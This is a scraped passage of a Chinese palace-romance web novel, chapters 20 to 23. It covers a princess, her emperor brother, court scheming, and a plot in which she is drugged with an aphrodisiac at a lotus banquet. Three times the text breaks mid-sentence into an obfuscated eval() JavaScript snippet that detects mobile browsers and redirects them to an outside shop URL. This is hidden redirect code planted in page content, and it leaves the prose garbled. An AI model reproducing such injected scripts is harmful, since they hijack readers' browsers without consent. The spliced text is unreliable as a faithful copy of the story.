门后走出一道肥胖的身躯,深绯色的圆领袍衫,头上戴着只幞头,仍是皮笑肉不笑:“公主,陛下请您进去。” 安玥面色微白,身子稍稍侧过去了些,一只脚还未踏出去,那两名侍卫跟着往这头挪了一步,银寒的甲胄在烛火下泛着冷光。 她脖子缩了缩,硬着头皮转了回去。 安玥自知逃不掉,提裙埋上石阶,她手扶着门,一脚踏入门槛的瞬间,她终于看清殿内情形,僵着身不敢再进半分。 空旷的殿中,曲闻昭把手中的纸元宝往炉中一扔,火舌顷刻间卷了上来。 “外面冷,进来说话。” 安玥却似被钉在原地般,不敢动弹。 她用脚趾想也知道,皇兄在祭奠昭容娘娘。这种时候她哪里敢在他面前蹦跶? 怪她蠢,只顾着找猫,黑灯瞎火也未看清牌匾,加之今夜此处无人看守,就让她迷迷糊糊这般闯进来。 曲闻昭盯着面前的燎炉,火光映在他面上,他耐心耗尽般,终于转过头,“过来。” 安玥不敢再磨蹭,僵着身到曲闻昭身侧那只蒲团跪下。她没想到皇兄在这时祭奠,一时后悔今夜出来。 不消片刻,殿门再度合上,风声被拦绝在外,四周死寂。 安玥等不到身边的人开口,心里有些发怵,“皇兄是在祭奠昭容娘娘吗?” 他喜怒不辨:“你知道?” 安玥看了看燎炉,又看向曲闻昭,哆哆嗦嗦点了下头。她绞尽脑汁,想把话头跳过去,好在皇兄已换了话头,“妹妹怎么在这?” 安玥脑中一抽:“捉……捉奸。” 曲闻昭动作一顿,眼底罕见的,浮现些许不解的意味:“什么?” 安玥忙纠正回来:“找猫……” 曲闻昭往窗外看了眼,侍从站在树下,手里一左一右各提着一只狸奴。 白色那只色.心不死,还一个劲往另一只身上贴。 曲闻昭面里的冰霜被这幅闹腾的景象搅得化了些,他抽回目光,看向边上的人。 安玥垂着头跪在一旁,一只手不停搓着腰间系带,满面窘迫,不知是不是也觉着没脸,不敢抬头看他。 他莫名觉得有些好笑,收回目光,用竹棍拨了拨火堆。 安玥见边上的人没了动静,轻轻抬起头,却见皇兄垂着目光,看着面前的火堆,不知在想什么。 她突突直跳的心不自觉平静了些。她迟疑片刻,问:“皇兄想母妃了吗?” 曲闻昭唇角勾出一抹笑,看向她:“妹妹以为呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16664102|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>安玥不明白皇兄在笑什么,她默了片刻,低下头,将腰间的荷包打开,从里面取出一只骨笛。 那只骨笛只有一截手指长,她深吸一口气,将骨笛递至唇边。 舒缓的曲调自笛管缓缓流出,却不陌生,只是早已模糊在记忆里,风雪侵蚀,再难连成完整的调子,如那些渐行渐远的魂魄,梦河难渡。 除了自己,无人记得它的存在。 他从未想过,这首曲子还有被拼凑完整的一日。 曲闻昭面上笑容僵住,一双目光牢牢锁在身侧的人身上,如同一张极沉的网。 夜极尽,只剩下呜呜的风声,炉中的纸燃尽了,黑色的纸灰中布着点点火星。 安玥低头吹笛,火光映在她眼里,她神色认真。 云落满天,月色生辉。 一只骨节分明的手骤然伸来,遏住她的手腕,骨笛应势坠落在裙摆上。 乐声停了。 风过树梢,偶有簌簌几声。 曲闻昭眼中无了笑意,那目光极沉,如深渊爬出的鬼魅,“这首曲子,是谁教你的?” 安玥面色发白,喉咙似是被什么堵住。她勉强启唇,“我母妃。” “姜贵妃?” 安玥点点头,“小时候睡不着,母妃就会给我吹这首曲子。母妃说,这首曲子是祺昭容娘娘教给她的。皇兄,安玥虽然没见过祺昭容娘娘,但是听母妃提起,她们生前关系应是极好。” “妹妹想说什么直说便是。” 她轻声问:“皇兄是不是对我有误会?” “误会?”曲闻昭语气玩味:“什么误会?” 安玥总觉得今夜皇兄有些怪怪的,不似平日那般温和。哪怕是在笑,她也觉得那笑意有些不达眼底。 像是一个人突然对你卸下了伪装。 可一个人在什么时候会卸下伪装呢? 她打了个寒颤,不自觉地往燎炉那靠近了些,“皇兄是不是觉得,祺昭容娘娘的死,和我母妃有关?” 曲闻昭收回手,“给我母妃烧点纸,好么?” 安玥哪里敢拒绝? 火光再度升起,她伸手想去拿曲闻昭身侧的纸元宝,那元宝在另一侧,距离远了,她有些够不着,身子往前倾了倾,眼看还差一些,她又往前探了探,不想失了平衡,整个人往前扑去,她心下一惊,被一双有力的手臂扶住。 她松了口气,抬起头,触到一双漆黑的眸子,似是朝自己笑了下,“妹妹小心。” 他手上温度有些凉,隔着衣料传来。 安玥直觉有些危险,她接过曲闻昭递来的篮子,“多谢皇兄。” 她拿起几只元宝轻轻扔进火堆里。 “昭容娘娘,安玥给您请安了。不知道你和母妃在下面过得好不好,如果缺什么,便给安玥托梦告诉安玥。您放心,皇兄现在很好,安玥也很好。但是安玥觉得皇兄也很想见到娘娘。娘娘若是有机会,也给皇兄托托梦吧。” 她念叨完又顿了下,忍着不情愿,伸手握住曲闻昭的手,“祺昭容娘娘你放心,安玥会把皇兄照顾的很好……” 安玥最初以为皇兄冷血无情,是个不折不扣的疯子。可今夜她似乎意识到,皇兄也是人。说到底他们也是同病相怜。 21. 第 21 章 安玥话未说完,突然听到一声轻响,有什么东西掉在地上。她下意识寻声看去,见是一把匕首掉落在地。 二人俱是一怔。 曲闻昭轻挑了下眉。 安玥被匕首上的蓝宝石吸引,不由得多看了两眼。她把那把匕首拾起,看了看,最后递给曲闻昭。 曲闻昭没接,一双眼睛盯着她,待看清她眼中情绪,忽得一笑,“喜欢这把匕首?” 安玥有些讶然,皇兄当真心细如发,她未掩饰,“这把匕首样式特别,小巧精致,很好看。” “喜欢便送你了。”曲闻昭将匕首收入鞘中,递给她,“只是妹妹要小心,莫要给伤到了。沾了血,就不好看了。” “多……多谢皇兄。” 窗外忽然起了大风,吹得枯叶落了满地。风扬起燎炉内的灰,往曲闻昭身上扑去。曲闻昭捂着唇咳嗽了声,拂袖去赶。 安玥回过神,忙拦住他动作。曲闻昭看了过来。安玥意识到失态,忙不迭缩回手,她察觉头顶目光未移,默了阵,开口:“烟灰往皇兄身上扑,或许是祺昭容娘娘回来看皇兄。” 曲闻昭动作微顿,过了片刻,他眼中寒意散开,又恢复平日那般温和的样子。 “妹妹怎么知道?” “以前我想母妃的时候,清栀就是这般同我说的。” 曲闻昭不以为然,“风罢了。” 安玥见他不信,“才不是!安玥有一年做梦,梦里母妃也是这么和安玥说的。” “小骗子。” 曲闻昭这般说,却没有要动怒的意思。 篮子里的纸元宝就快要见底,安玥这一路又惊又怕,这会被烟熏得有些困,脑袋垂了下去,眼见着要埋到燎炉里,曲闻昭眼疾手快把人捞了回来。 安玥迷迷糊糊,朝曲闻昭笑了笑。她双颊被火熏得有些泛红。羽睫乖巧得垂着,眼角的一颗小痣被热气熏得活过来般,泛着殷红色。 鬼使神差的,曲闻昭伸手轻轻捏了下她面颊。 安玥靠在他肩上,困得睁不开眼,“皇兄,元宝怎么是纸做的呢?我还没在宫里见过,这是哪里的折法?” 他难得解释了句,“我也不知,只见母妃悄悄烧过,大抵是外祖那边的习俗吧。” 安玥轻轻“嗯”了声,似是嘟囔了一句什么,曲闻昭未听清,却莫名生出几分好奇,低头靠近,“你说什么?” “故人轻抚今人眉,为尔散去半生灾……” 窗外的风停了,云舒卷开来,露出雪白的月霜,洒落人间。肩上柔软的温度透过衣料传来,她鬓间的栀子映在残枝暗影上,一股不属于冬日的气味丝丝渗透,蔓延,如枯木萌芽。 苍白的纸灰下是点点火星。 曲闻昭目光僵怔了瞬。他要说什么,却听靠在肩上的人呼吸渐渐平稳,俨然是睡熟了的样子。 曲闻昭伸手捏了下她通红的面靥,“回你自己宫去,别在这睡。” 安玥在睡梦里嫌吵,皱了下眉,抬手把他脸推开。 此处连着偏殿。曲闻昭犹豫了阵,最后拿起安玥先前叠放在一旁的披风,将它垫在臂上,将靠在肩上的人打横抱起。 他步子迈得极稳,未惊动怀中的人。 曲闻昭从偏殿回来,注意到案上的熏香,味道不似平日用的,却有些熟悉。 “胡禄。” 胡禄听到动静,从外头进来,面上挂着谄媚的笑,细声问:“陛下,怎么了?” “香何时换了?” 胡禄反应过来,道:“这香是杨姑娘送来的。杨姑娘听说您这几日夜里睡不好,便特地调了助眠的香。” 曲闻昭扫了一眼案上的香,“把你那些心思收一收,没有下次。” 他面上不见喜怒。胡禄心里打了个突,忙躬着腰跪下,“奴婢知罪。” “给外面那二人通个消息,说公主追悼先帝,在宫中抄经,要回去的晚些。” 功过相抵,今夜且放她一回。 “谢陛下。”胡禄撑着肥胖的身子起身,反应过来后半句,先是一怔,随即应了声“是”。 “陛下,那狸奴怎么办?” 曲闻昭眉心微蹙,“带进来。” 月挂梢头。 安玥半夜醒来,发现自己还在娴淑宫。周围已经没人了,好在桌上还燃有一盏灯。就着那丁点光亮,安玥看清身侧卧着的一团雪团子。他似是被自己惊动,睁开眼睛看她。 安玥气不打一处来,捏了捏他后脖子,“你这没出息的,本宫脸都给你丢尽了。” 不知是否是错觉,安玥竟觉得咪儿看自己的眼神有些轻蔑,似是在看傻子。落到人眼里,竟有几分高高在上的意味。 安玥没功夫同她计较,把咪儿一把捞进怀里,溜出屋去。 她刚一推开门,见外边停着顶步辇,周边站着几名内侍。 见她出来,恭敬道:“公主,陛下让奴婢们送您回去。” 安玥面露警惕,把怀里的咪儿抱紧了些。皇兄有这么好心? 曲闻昭一眼察觉她在想什么,无言片刻,懒得同她在夜风里耗,已先一步挣脱,跳上了轿。 安玥想去追,甫一上辇,轿子已被稳稳抬起。不知过了多久,步辇在镜烛宫前停下。安玥劫后余生,逃也似的跳了下去。 天气渐暖,春日一过,眨眼已是夏初。 往年宫内到了这个时候,宫内都会办有荷花宴。今年亦不例外。 当初苓妃死了儿子,举止变得疯癫,时而又正常。她作为新帝的养母,若是未死,按祖制理应被封为太后。 此次荷花宴,亦是由她一手操办。只是明眼人隐隐能感觉出,太后醉翁之意不在酒,显然是有意替新帝相看后位人选。 自先帝崩逝后,太后便鲜少露于人前。此次盛装出席,那张俏丽的面上竟也生出了些褶皱。纵使施了厚重的脂粉,亦难以掩盖。 她浑浊的眼睛在不远处的凉亭内扫了一眼,再看向一旁的新帝,她似是笑了声,“皇帝也年岁不小了,后位空置,也不是办法。皇帝可有心仪的人选?” “此事不劳母后费心。父皇刚刚崩逝,丧期未过,恕儿臣无心立后之事。” “你有孝心是好事,只是后位事关重大,母后也非是要你即刻娶妻,至少先把人订下来。”她话说得极密,几乎不给新帝开口的机会,“样貌好,家世亦是没得挑,亲上加亲,岂不更好?” 赵怜儿,是太后胞弟之女。 曲闻昭拨了拨浮沫,眼中含笑,“若是四皇弟未曾染疫离世,这桩婚事本轮不到儿臣头上。想来表妹与四皇弟亦是两情相悦,儿臣无意棒打鸳鸯。” 二人一来一回,若是落在不知情的人眼中,倒当真要意味着是一副母慈子孝的场景。可太后垂在袖中,隐隐泛白的指节却出卖了一切。 当初婺儿无故染疫,本就蹊跷。他死后,那贱种便继了位,葬礼亦是由他手底下的人一手操办。甚至她这个当母亲的,连儿子死前最后一面都未见到,婺儿便被下了葬。 她疑心此事定然和这贱种脱不了干系。今日曲闻昭无故提及此事,她心底的猜想无形中又被证实几分。 她双唇颤抖,松手时,蔻丹里已染了鲜红的血迹。她定定盯着曲闻昭,眼底赤红得要滴出血来,偏生笑了声,“当场二人并未订婚,如今婺儿既已离世,皇帝接上,也未尝不可。” 曲闻昭报之一笑,恍若未闻。这幅样子落到太后眼里,于挑衅无异。 可如今,她又能如何? 凤凰花满树,一阵风拂过,嫣红的花瓣断颈般坠下,残红遍地。 岁康站在树下,绣鞋将花瓣碾得稀烂。 杨玉茗似是见她面色纠结,贴心问了句:“公主因何事为难?可是……”她朝远处的桥面上看了眼,语气打趣:“可是因何大人?” 岁康心事被戳穿,面色绯红,“你看出来了?” “公主可有向何大人表露过心意?” 岁康难得露出些小女儿的情态,她指尖绕着胸前的细辫,摇摇头。 “他怕是对我没那个心思。” 杨玉茗微微讶异,“公主这般好的人,何大人都没那心思,还能对谁有心思?” 岁康眼眶气得泛红,“我还没同你说。那日我试探一番,你猜怎么着?皇兄根本没送过她东西。一个撒谎精,我那日撞见她,提及此事。哪知那贱人抵死不认,正巧他路过,不知真相,竟也替她说话。倒像是我在欺负人!” 杨玉茗怔了怔:“怎得这般?我前些日子还听说,公主落水,是何大人将她救上来。你说,该不会……” “不会的!”岁康拔高了声亮,她气得要落泪,“一个两个都偏向她,凭什么呀!” “她是什么狐狸精转世,生来就是要吸走我的气运,抢走我的一切!以前是父皇皇兄,现在就连……” 岁康恨声:“我母妃也是被她克走的!她巴不得所有人都同她一样。” 杨玉茗摇摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16673162|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头,“玉茗瞧着,安玥公主应是对何大人无意,此事尚无定论。况且自古两情相悦之事,强求不来。公主这般好的人,何必在一棵树上吊死?” 岁康听了这番话,眼中恨意只增不减,“我偏要强求!” 她转身离开。 杨玉茗眉心微蹙,忍着不耐,柔声拦道:“公主去哪里?” 岁康脚步一顿,转身,她凑到杨玉茗耳畔,泛红的眼底染上几分昳丽的味道:“你说,若我霸王硬上弓……” 杨玉茗面色微惊,“公主莫要冲动……” 她想借刀杀人,却未想让她就这般折进去。 岁康笑了声:“母妃没了,我那弟弟又不争气,迟早把一家人害死。皇兄并不在意我。你说我还有得选么?” “她要抢走一切,我偏不让她得逞。横竖我什么也没有了,自然也不在意会失去什么。你若是害怕,便当没听过好了。” 岁康甩袖离去。 何元初刚同那些同僚应酬完,他酒饮得不多,此刻吹了许久的风,酒意散了不少。 他不主动找人,亦没多少人敢上来灌他酒。 他站了片刻,就要从桥上下去,见不远处跑来一道人影,那近侍到了跟前,“何大人,我家公主邀您喝茶,不知大人是否有空?” 何元初记性极佳几乎过目不忘,一眼便认出此人是岁康身边的人。 他微微颔首,“有劳。不知在何处?” 那内侍心下一喜,连忙在前引路,“不愿,便在福字号花船。” 要说这满朝文武,也只有何大人的性情是一等一的好。鲜少有拒绝人的时候,也从不责骂下人,令人如沐春风。 当真是个妙人儿,也难怪公主喜欢这样的人。 何元初由那内侍领着,到了湖畔,便见那花船的栈板上站着一个人,一身石榴色的红裙尤为扎眼。 她似是感觉到有人看着自己,几乎瞬间转过身来,原本平静的面上俱是欣喜,“何……”她上前两步,似是察觉此举失了庄重,又站立不动,等着何元初上来。 何元初一脚踏上舷梯,湖风拂动他的衣摆。他如玉的面上未见什么表情,可语气却是温和,“微臣见过公主。” 岁康怔了怔,鼻子有些泛酸。自打母妃去后,她总觉得宫人看她的眼神怪怪的,不如从前尊敬。若非舅舅尚在地方任边防军事长官,怕是处境不比安玥好多少。 只有他,还和从前一般待她。 “外边风大,我们进去说话,可好?” “公主,此举怕是会对公主声名有损。不如便在外面……” “不要。”岁康想任性一回,只当着他的面,“我心情不好,陪陪我好么?” 何元初张了张口,最后还是叹了口气,“依公主便是了。” 岁康笑了。她拾着舱梯上去,中舱内宽阔。内侍替二人倒了茶水,便退了出去。 何元初静坐在对面,极为耐心,俨然是在等她倾诉。 岁康道:“那日是我莽撞,让何大人见笑了。” 何元初知道她指的是御花园那件事。他摇摇头,“微臣非是有意偏帮。顶撞了公主,还望公主莫要同微臣计较。” 岁康心念微动,她深吸一口气,酸涩道:“我怎会同你计较,我的心思,你当真不懂吗?” “承蒙公主厚爱,只是微臣有眼无珠,暂无娶妻之心……” “别说了!”岁康几乎立时打断,她不想再听下去。什么有眼无珠,说到底也只是场面话,不喜欢就是不喜欢! “是因为安玥么?” “十七公主?”何元初微微错愕。 这幅表情落在岁康眼里,意味可就多了去了。她红着眼睛,却是哭不出了。 她嗤笑了声,“好。今日是我莽撞,还望何大人勿怪。” “公主言重了,公主地位尊贵,几句戏言,微臣自然不会当真。” “何大人喝茶,便当是我的赔罪了。” 何元初恭敬道:“公主不必如此。” “何大人不喝,可是瞧不上我的茶?” “微臣不敢。”何元初将茶水端起,放至鼻尖轻嗅了下,笑道:“果真是好茶。” 岁康盯着桌面,闻言,僵硬的唇角终于勾出些弧度,“你喜欢便好。” 湖面起了风,透入舱内。何元初偏头咳了几声。岁康见状忙起身,“我去关花窗。” 她转身之时,身后有一只手将桌上的茶水掉换。 22. 第 22 章 等岁康再回来时,何元初手里那杯茶水已空了小半。 岁康唇畔微勾,她收回目光,见何元初起身,忙道:“外边风大,何大人再休息会可好?” 何元初轻轻抬袖,拱手:“微臣尚有公务在身,怕是不能久留,可否改日再陪公主喝茶?” 眼见他就要出去,岁康心一狠,在何元初要出门的刹那,她从后面将何元初抱住,“别走,好么?母妃走了,我好难过。我心悦于你,你能不能也……” 何元初身形微僵,他语气却不见悲喜,抬手将岁康扒在身上的手根根掰开,退后两步,仍是恭敬的语气:“还请公主自重。” 自重?岁康苦笑了声,又要去扯何元初袖子,何元初却未再挣脱,声色平静到了极致,“我给公主留有体面,公主莫要一错再错。” 岁康只觉得一股冰浪泼面而来,将她泼得面无血色,窒息感接踵而至。她失了力道,整个人往后踉跄了几步。 湖风轻掀帘栊,带来黏腻腻的冷意。待她回过神,甲板空荡荡,何元初已没了人影。 候在外面的思檀见事情未成,连忙进来。便见岁康站在原处,神色呆怔。似是丢了魂魄,随时要倒下。 她心下一惊,连忙去扶。却听边上的人怔怔道:“他都知道了……我的不堪。” “没有人爱我了。” “公主,您别吓奴婢……啊!”思檀话未说完,一巴掌打了上来,她脸被打得偏到一侧,顷刻间浮现一个通红的巴掌印。 岁康语气冰冷,“你算什么东西,也敢来嘲笑我?” 午后日头热辣辣的,鱼儿都沉在水下。池子边上是一棵榕树,安玥侧坐在池沿,将手中的鱼食一点点撒进池子里。 几尾鱼争先恐后游上来,将鱼食分食干净。游得慢的鱼儿便没了吃食。安玥见状,索性将手里的鱼食全撒进了池子里。 她拍了拍手,一抬头,正见一道玄色的身影从叶隙疏影中缓缓走过。他目光在这头停留了瞬,安玥动作一僵,忙不迭错开视线。 身后传来脚步。安玥扭过头,见来的是一名侍从,走近了她一眼认出,此人是何大人身边的人。 “青攸?” 青攸面色微怔,随即惊喜道:“公主还认得小的。” 安玥认真道:“你和你家大人帮过我许多回,我自然是记得的。” “我家大人想问问,公主可得空?上回公主说有机会请大人喝茶,不知还能否作数。”青攸话落,又后知后觉补了一句:“大人说不强求,若是公主不得空,此事便作罢。” 今日荷花宴,宫里鱼龙混杂。想来何大人是想寻个清净处喝茶,又寻不到理由。 她当即应下,“自然可以。那便在……宁字号花船如何?” 今日湖上停有八艘花船,分别是安、和、永、昌,嘉、宁、福、泰。 她记得宁字号是无人订的。 青攸躬身道:“是。小的这便去传话。” 浮光跃金,火红的日挂在水天交接处。岁康几乎从花船上跑下来,分毫未注意到不远处树下站着一个人。 杨玉茗敛目,转身要离开,未防迎面撞上一人。她手背刺痛,一低头,是滚烫的茶水洒了出来。 杨玉茗眼底掠过一抹冷意。 宫女知道自己闯了祸,连忙跪下:“小恕罪,小姐恕罪,奴婢不是故意的!” 杨玉茗柔声:“无事,没有怪你的意思。”她看了身侧的侍女一眼,侍女会意,将人扶起。 那宫婢用手背将眼泪擦干,“多谢杨小姐。” “何事慌慌张张?” “是岁康公主和何大人要游湖,奴婢本想把茶水送去,又怕湖上船太多,找不着地方,便走得快了些,这才不慎撞到您。” 杨玉茗点点头,她默了阵,笑道:“不知是哪只船?我替你指路便是。” 那宫婢怔了怔,满脸欣喜,“是宁字号。” “辛照,你一会带她过去。” “是。” 那侍女忙不迭行礼,“多谢杨小姐!杨小姐真是极好的人。” 杨玉茗微微一笑,“不是大事。” 这会湖面已经没什么人了。那宫娥打碎了茶水,只得再跑去端一壶过来。 杨玉茗看着那宫婢背影,“她刚刚说,是哪一艘?” 辛照道:“回小姐,是宁字号。” “可我记得,是福字号。” 辛照怔了怔,旋即反应过来,“奴婢明白!” 安玥到船上时,已是傍晚。她到得早些,若桃确认牌子上写得是个宁字,方将帘栊掀开,引着人进去。 安玥到得早些,她在桌边坐下。见桌上摆着两只茶盏,俱是空的。她走到这里已是口干舌燥。忍了片刻,见人还没来,悄悄给自己倒了一杯。 若桃眼睛尖,道:“公主,这茶瞧着凉了,奴婢差人换一壶吧。” “无事,凉的正好。” 不知是否是热得,一盏茶水下肚,她面上又红了几分。安玥觉得解暑,又倒了杯。三盏茶水下肚,她悄悄把玉盏倒扣回去。 若桃见状,亦将茶壶归位。 安玥等了阵,人迟迟未来。傍晚湖面风大,可吹在人身上,不觉得凉快,反而越吹越热。若桃见公主一个劲地用手扇风,面颊绯红,忙到边上取了只扇子过来。 “不成了,怎么这么热?” 若桃没觉得热,反倒被风吹得有些冷。“公主,您会不会受寒了?” “不会吧。” 安玥觉得口渴,不经意想去倒水,未防甫一抓住壶柄,待要用力,却发现手臂一阵酸软,提不起劲。 她僵了下,“若桃,我感觉我好像有点不舒服。” “公主,您的脸好红。”若桃抬手摸了摸公主的额头,急急缩手,“有点烫,奴婢去叫太医!” “唔…”安玥勉强抬了抬手,“没事。应该是风吹的。缓一缓就好。” 她见若桃神色犹豫,又加了句,“我答应人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16687803|187407||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 家的。来都来了。” 若不是今日何元初主动邀她喝茶,她实在想不出能用什么法子感激他。 过了这个村就没这个店了。 若桃站在风口,“您若是不舒服,一定要同奴婢说。” “好……好热啊,你把风挡了……” “若是不行,奴婢还是…” “好像又不热了!”安玥忙不迭将她打断。 她在舱内坐了阵,却觉得越来越难受,骨头要化开般,生出了千万只蚂蚁在啃噬。把身体里唯一一点水分也尽数挤出来,汗水一点点往外渗。 “若桃,我好难受。” “公主,您哪里难受?” “说不上来……”安玥支着木桌起身,却觉得脚下一软,眼看着就要倒了,若桃忙不迭将人扶住。 “今日有些背……”安玥靠在若桃身上,主仆二人摇摇晃晃往外面走,湖风拂面,安玥原本昏沉的大脑面前清醒几分,“一会儿差人和何大人说一声……” “奴婢……省得…”若桃面前把这四个字说出来,已是气喘吁吁。她一边要掀开帘子,一边要支着随时就要倒地的公主,一边还要挣开公主上下其手。 她欲哭无泪,“公主您别……”她话未说完,瞳孔骤然一缩。若桃转过头,接着昏黄的烛光,她看见公主殷红的眼角,沾了几分风月之气,“公主,您是不是中药了?” “什么…药?” 若桃面色吓得惨白,好像唯一一点血色都转移到了安玥脸上,她忙不迭扶着着人往回走。 她步子迈得急,未防迎面撞着个人。待反应过来,若桃只觉得天旋地转,已跌倒再地上。 安玥原本被若桃扶着,眼下失了力道,眼看也跟着要倒下去,被一只手拦腰往回一带,她面上磕到一堵墙。鼻尖萦绕着一股清冷的气味,夹着淡淡玉兰味。 一只手不轻不重将她后颈拿住。安玥觉得凉快极了,伸手去摸对方的脖子,这场景落在不知情人眼中,像极了一个登徒浪子在调戏良家妇女。 若桃吓得肝胆俱裂,连忙要把公主拉回来,被头顶一道眼神吓退。她跌跪在地上,连连磕头,“陛下,公主……公主只是不舒服,不是有意的。” 曲闻昭垂下目光,眼中冷意散去了些。怀里的人浑身滚烫,热意沾着白栀子的气味,往人衣领里钻。那只柔夷抚过他的脖子,却仍不满足,还在拉扯他的衣裳。原本平整的衣领顷刻褶皱一片。 胡禄在一旁,想拦不敢拦,把头埋得低低的,眼观鼻鼻观心,看样子是恨不得当个只会呼吸的死人。 这幅样子,有心人但凡看一眼,便知是中药了。曲闻昭被蹭得有些烦躁,谁会对这傻子下药? 几人站在阴影处,此刻颇有几分黑灯瞎火的意味。曲闻昭一手捏了捏她的脖颈,抬头正见不远处灯下站着道人影,看向这边。 是何元初。 曲闻昭唇角牵出摸弧度,极淡。他垂眸看了眼仍在扯他领子的人,抬手将人抱起。 23. 第 23 章 若桃回过神来,公主已经被人抱走了。她顿觉一阵天塌,哆哆嗦嗦去追。眼看着到了步辇前,陛下抱着公主上了轿。突然冒出几名侍卫将她拦住。她在原地跳了好几下,简直急得要当场昏过去。 辇内用盛了冰鉴,安玥寻着凉意,当即松了手往矮几摸去。却被一只手无意间往回一带。她挣了两下,眼见挣不开,抬手往上,摸到曲闻昭的脸。 她眼底情态未散,直勾勾盯着他。二人的鼻尖几乎要触上。 曲闻昭眸光沉沉落在安玥身上,伸手擒住她下巴,将她的头抬起,“认得我是谁么?” 安玥饧涩着眼,看了好几眼,唇角似是往下拉了些,“皇兄?” 曲闻昭一哂,伸出二指,指腹贴着她唇角,往上抵了抵。不知为何,他竟有些欣慰,她念得不是何元初的字。 他收了手,安玥脑袋往下一沉,额头正撞上他下巴,昏暗里,她的唇蹭过他颈,在喉结处停下。 曲闻昭身形微僵。可怀里的人不觉得自己做错了什么,又去抓他的手。就在安玥手指压到曲闻昭手背的瞬间,曲闻昭捏住她手腕。 力道不大,却足以让中了药的人挣脱不开,“你知道我是谁么?” “唔……”安玥似是觉得这问题已经问过一遍了,再问就有些傻,此刻失了答复的耐心。 曲闻昭笑了声,意味不明道:“我是你的兄长。” “你如今这般,已是逾越。” 安玥觉得热极,只听着“逾越”二字,“怎么了?” 曲闻昭听着这三个字,未置一词。他一只手不轻不重捏着安玥的手腕。她衣袖往下滑了一截,小臂上露出一颗熟悉的红痣。 他抬手轻轻在那颗痣上摩挲了下。 “痒……”安玥不满地皱了下眉。 他气息贴近她耳廓,耳边的碎发晃了晃,挠在她耳根,她往回缩了缩,一只手贴着她脸,不让她躲。 “哪里痒?” “手臂,耳朵……都痒。”二人贴得实在太近,她觉得热,又去扯自己的衣服。 曲闻昭好整以暇看着她将自己的衣带硬生生扯成一个死结。 轿辇终于停了晃动,安玥还要再解,一只手拽住她手腕止住她动作。 曲闻昭目光往外睨了眼,轻轻把人往怀里一带,抱下步辇。 宫人不明所以,借着昏暗的灯光,看见新帝怀里缩着名女子。只匆匆一眼,他们低着头不敢再看。 宁兴宫。 御医上前替安玥诊脉。 吴钊切过脉,面色变了几变,跪在地上支支吾吾不敢说话。 帘下,曲闻昭一只手压着安玥的手臂,把人压在床上,轻飘飘扫了吴钊一眼,“舌头长着不说话,便割了。” “公主是中了媚毒。但好在不是厉害的毒,主要是让人神志不清,服了药应就没事了。” “那便去配。今日之事,谁若敢传出去半分,便挖了眼睛舌头,懂了?” 吴钊头要埋进地里,他袖子擦了擦额头上的汗,“陛下放心,微臣明白。” 人都走了。曲闻昭收回目光,看了眼榻上的人。她面靥通红,被褥被她蹭得乱七八糟。曲闻昭一收手,她手臂便往他腿上蹭。他身形僵了僵,揪着她的后衣领将她拎开。他坐在床边,深吸一口气,手背盘虬般的青筋隐隐鼓动。 天青色的纱幔透出一点烛光,他起身哗得掀帘,抬脚出去。一只手抓住他的手,与其说抓,倒不如说是搭在上面。 曲闻昭脚步顿住,回过头。安玥两只眼睛都是红的,有些迷茫。原本平整的衣裳被她卷得一塌糊涂,外裳也掉下去一截,露出莹白细腻的肩。似刚剥了皮的荔枝,清透极了,稍用些力道,便能留下殷红的指印。 “难受……” 她失了神智,不认得他,一切只是凭本能行事。 他盯着榻上的人,空气里响起一声意味不明的笑。他转身去柜中取了一只瓷瓶,从里面倒了颗药丸出来。 他缓缓走进,一手捏住她下颌,另一只手贴着她的唇,将药丸塞入她口中。 苦涩的味道化开,安玥想吐出来,却被一只手掐住,他语气诱哄,似蛊惑人心,“咽下去。” 安玥仰头,怔怔盯着那张脸,不经意咽了咽口水,药丸便滚了下去。 曲闻昭指腹在她唇瓣摩挲了下,轻轻按碾。不是疏解药性的药,可却能让人恢复些神智。这才是最要命的。 安玥一只手仍勾缠着他手臂,曲闻昭既未再像先前那般抓住她手腕,也未挣开。 直到那只手僵挣了瞬,原本迷离的眼神恢复清明,又有一滴惊愕搅动水波,余颤难消。 安玥睁大眼睛,看着头顶的人。她亦在看着自己,神色平淡,难辨喜怒。 她勉强错开视线,往身上看了眼,又手忙脚乱拉了拉衣裳,一句话说不出,就要下榻。哪知脚下一软,又被裙子绊了下,整个人往前扑去,曲闻昭不闪不避,安玥便这般撞进他怀里。 她吓了一跳,想同面前的人拉开些距离,一双手臂却不听使唤往对方身上蹭。安玥羞愤欲死,恨不得当场晕过去。 “你……你离我远些……” “妹妹拽着我,我怎么走?” 安玥咬着下唇,疼痛让她恢复些理智。她可这远远不够,她觉得小腹似有火烧,烧得又麻又软。 